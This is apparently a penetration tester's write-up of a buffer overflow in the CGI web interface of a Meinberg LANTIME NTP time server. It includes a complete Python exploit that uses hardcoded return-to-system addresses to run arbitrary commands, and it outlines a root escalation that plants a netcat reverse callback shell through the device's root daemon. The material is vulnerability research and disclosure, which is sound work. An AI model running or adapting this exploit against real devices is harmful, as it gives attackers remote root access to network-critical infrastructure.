During a recent vulnerability assessment for a customer, I ran across an interesting web server while enumerating network enabled devices. Navigating to the web server presented the management interface for a Meinberg NTP Time Server. This particular hardware appliance was used to provide an accurate time source for time-sensitive applications and hardware components while disconnected from the internet. Given its function, the device had network connectivity to almost every other device on the network, an ideal target.
Visiting the default web page redirects the user to a standard login page that is produced by a binary located in cgi-bin. This binary appears to be responsible for processing all incoming web requests and producing their subsequent responses. With this in mind, I decided to ssh into the device and pull down the CGI binary for a closer look.
Opening the “main” CGI application up in IDA Pro confirmed my suspicions that the binary was essentially a custom web server; processing each request and manually constructing responses and HTML pages. As is my usual tendency when approaching custom applications, I began searching for the functions responsible for parsing the incoming request parameters. Once I located the parsing function, I found code that could be potentially vulnerable to a buffer overflow. Pseudo-code for the vulnerable code is listed below.
To confirm the vulnerability, I scripted up a quick POC that sent a simple POST request to the main cgi application with the “button” parameter equal to 10050 “A”s. Unfortunately upon investigation, it appeared the web server had not crashed and was still running. At this point I remembered that since the binary was a cgi application, the actual web server would not crash because it was executing the cgi application on each request. This would make it quite difficult to debug live so I instead began to develop a POC on a test system using just the cgi application.
Checking memory protections on the binary reveals that the only protection provided is a non-executable stack. This means there is no stack canary and the memory address the binary is loaded into will be static across executions.
Given that the binary is statically loaded into memory, I begin looking through the application for useful functions that could be jumped to as opposed to sending and executing shellcode. It turned out that the application imports the “system” function, which takes as a parameter a pointer to a buffer containing a command to run. Fortunately for us, our input is loaded into a global variable which is also at a static address on each execution. Using this simple primitive, we now have a simple command injection interface to the time server device. The following snippet achieves this goal.
#!/usr/bin/python # Kernel Version: 18.104.22.168 # System Version: 530 # Lantime configuration utility 1.27 # ELX800/GPS M4x V5.30p import socket import struct import telnetlib import sys if len(sys.argv) < 3: print "[-] <Host> <Command>" exit(1) host = sys.argv command = sys.argv print "[+] Running command: " + command port = 80 ################################################################### # Connect to TCP csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) ) param = "A" * 0x2850 resp = "POST /cgi-bin/main HTTP/1.1rn" resp += "Host: " + host + "rn" resp += "User-Agent: Mozilla/5.0rn" resp += "Accept: text/htmlrn" resp += "Accept-Language: en-USrn" resp += "Connection: keep-alivern" resp += "Content-Type: application/x-www-form-urlencodedrn" system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 msg = "button=" + "A"*10028 msg += struct.pack("I", system ) msg += struct.pack("I", exit ) msg += struct.pack("I", some_str ) msg += command + "x00" resp += "Content-Length: " + str(len(msg)) + "rnrn" resp += msg csock.send(resp) t = telnetlib.Telnet() t.sock = csock t.interact()
Running our command injection script neatly returns our results across the connection.
Having achieved code execution so trivially and still having plenty of time left during our assessment, I decided to try and see if it was possible to escalate from the current web server user of “nobody” to root. Reviewing comments in some of the functions in the main binary led me to believe it could perform privileged operations, but I wasn’t able to locate any setuid or similar function calls to escalate privilege. However, further investigation proved that the binary was able to perform privileged operations by sending UDP messages to another application running as a root daemon. This root daemon would then perform the operations for the CGI application.
At this point I began inspecting each of the operations passed to the root daemon from the CGI application to see if any resulted in code execution. Looking at the operation parsing function in the root daemon revealed an operation that copied a temporary file from the web server directory to privileged space as the user_defined_notification script. There was also a separate operation code for executing the user_defined_notification script.
Tracing functions in the CGI application I found the location of the code responsible for sending the UDP operation packets to the lantime root daemon. Using each of these pieces I constructed a POC that performed the following functions. It can be downloaded on my Github repo here.
Create a file at /www/filetmp containing a netcat reverse callback shell using the command injection from the BOF vulnerability.
Execute the function that sends a UDP packet to the lantime root daemon that copies the /www/filetmp file to /mnt/flash/config/user_defined_notification using the BOF vulnerability.
Execute the function that sends a UDP packet to the lantime root daemon that copies the executes the user_defined_notification script spawning a reverse callback shell as root.
Cleanup hung processes.